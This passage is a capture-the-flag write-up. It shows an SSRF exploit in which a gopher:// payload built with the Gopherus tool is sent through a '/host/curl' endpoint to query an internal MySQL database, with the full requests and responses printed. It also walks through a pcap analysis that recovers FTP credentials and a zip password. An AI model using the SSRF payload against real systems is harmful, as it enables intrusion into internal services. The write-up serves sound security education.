Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 57
Origin: http://176.32.76.86
Connection: close
Referer: http://176.32.76.86/

{
  "host": "gopher://176.32.76.86:80/_GET / HTTP/1.0%0A%0A"
}

Response received:

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 839
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: Content-Type,Authorization
Access-Control-Allow-Methods: GET,PUT,POST,DELETE,OPTIONS
Server: Werkzeug/2.0.2 Python/3.6.9
Date: Fri, 26 Nov 2021 06:24:15 GMT

HTTP/1.1 200 OK
Server: nginx/1.21.4
Date: Fri, 26 Nov 2021 06:24:15 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/5.6.40
Set-Cookie: PHPSESSID=d98365d1817dd9c2829f3dc9ec8bbffb; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache


<!DOCTYPEE html>
<html>
    <head>
        <meta charset="UTF-8">
    </head>
    <body>
    <div class="message"></div>
        <form action="index.php" method="post">
            <p>
                username: <input type="text" name="username" value="user1">
            </p>
            <p>
        password: <input type="password" name="password">
        <!-- ...password 1234 -->
            </p>
            <input type="submit" value="send">
        </form>
    </body>
</html>

Since the root user had no password, we can generate a gopher payload to perform an interactionless login to the mysql backend with gopherus and perform the select * from ctf.flag SQL query.

$ python2 gopherus.py --exploit mysql


  ________              .__
 /  _____/  ____ ______ |  |__   ___________ __ __  ______
/   \  ___ /  _ \\____ \|  |  \_/ __ \_  __ \  |  \/  ___/
\    \_\  (  <_> )  |_> >   Y  \  ___/|  | \/  |  /\___ \
 \______  /\____/|   __/|___|  /\___  >__|  |____//____  >
        \/       |__|        \/     \/                 \/

        author: $_SpyD3r_$

For making it work username should not be password protected!!!

Give MySQL username: root
Give query to execute: select * from ctf.flag;

Your gopher link is ready to do SSRF :

gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%18%00%00%00%03%73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%63%74%66%2e%66%6c%61%67%3b%01%00%00%00%01

-----------Made-by-SpyD3r-----------

Sending this payload through the /host/curl endpoint gave us our flag.

POST /host/curl HTTP/1.1
Host: 176.32.76.86:5000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 632
Origin: http://176.32.76.86
Connection: close
Referer: http://176.32.76.86/

{
  "host": "gopher://mysql:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%18%00%00%00%03%73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%63%74%66%2e%66%6c%61%67%3b%01%00%00%00%01"
}

Response received:

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 224
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: Content-Type,Authorization
Access-Control-Allow-Methods: GET,PUT,POST,DELETE,OPTIONS
Server: Werkzeug/2.0.2 Python/3.6.9
Date: Fri, 26 Nov 2021 06:31:16 GMT

J
5.7.366PQnMH^U����"!fYAETxamysql_native_password%defctfflagflagidid?)defctfflagflagflagflag!Z�1flag{e9ces9p4z9jrai9c3zrs}�"

Flag: flag{e9ces9p4z9jrai9c3zrs}

Way

Attachment: Way_8688e1a1263c414450b12985e0d5620b.pcapng

Enigmatrix solved this challenge.

Investigating the protocol hierarchy within the pcap file shows that almost the entire thing is composed of FTP traffic.

Way Protocol Hierarchy

Looking at the TCP stream shows that two files are retrieved:

  • FLAG.zip
  • passmemo.txt
220 Microsoft FTP Service
OPTS UTF8 ON
200 OPTS UTF8 command successful - UTF8 encoding now ON.
USER ftpuser
331 Password required
PASS Pass#ftp18
230 User logged in.
PORT 192,168,11,242,78,73
200 PORT command successful.
LIST
125 Data connection already open; Transfer starting.
226 Transfer complete.
TYPE I
200 Type set to I.
PORT 192,168,11,242,78,74
200 PORT command successful.
RETR FLAG.zip
125 Data connection already open; Transfer starting.
226 Transfer complete.
PORT 192,168,11,242,78,77
200 PORT command successful.
RETR passmemo.txt
125 Data connection already open; Transfer starting.
226 Transfer complete.
QUIT
221 Goodbye.

Looking at the passmemo.txt FTP data tcp stream shows that the text file retrieved contains a password to the FLAG.zip file.

[File]    [Password]
FLAG.zip  Do_you_use_FTP?

Instead of manually dumping the data from the pcap, using binwalk can help save a few seconds. This gives us an encrypted zip file.

$ find _Way_8688e1a1263c414450b12985e0d5620b.pcapng.extracted
_Way_8688e1a1263c414450b12985e0d5620b.pcapng.extracted
_Way_8688e1a1263c414450b12985e0d5620b.pcapng.extracted/FLAG.GIF
_Way_8688e1a1263c414450b12985e0d5620b.pcapng.extracted/10BE.zip

Using the password we obtained earlier gives us a FLAG.GIF file.

$ unzip _Way_8688e1a1263c414450b12985e0d5620b.pcapng.extracted/10BE.zip
Archive:  _Way_8688e1a1263c414450b12985e0d5620b.pcapng.extracted/10BE.zip
[_Way_8688e1a1263c414450b12985e0d5620b.pcapng.extracted/10BE.zip] FLAG.GIF password:
  inflating: FLAG.GIF

This file contains the flag.

FLAG.GIF contents

Flag: flag{It's_dangerous_to_use_FTP}

Leave a Comment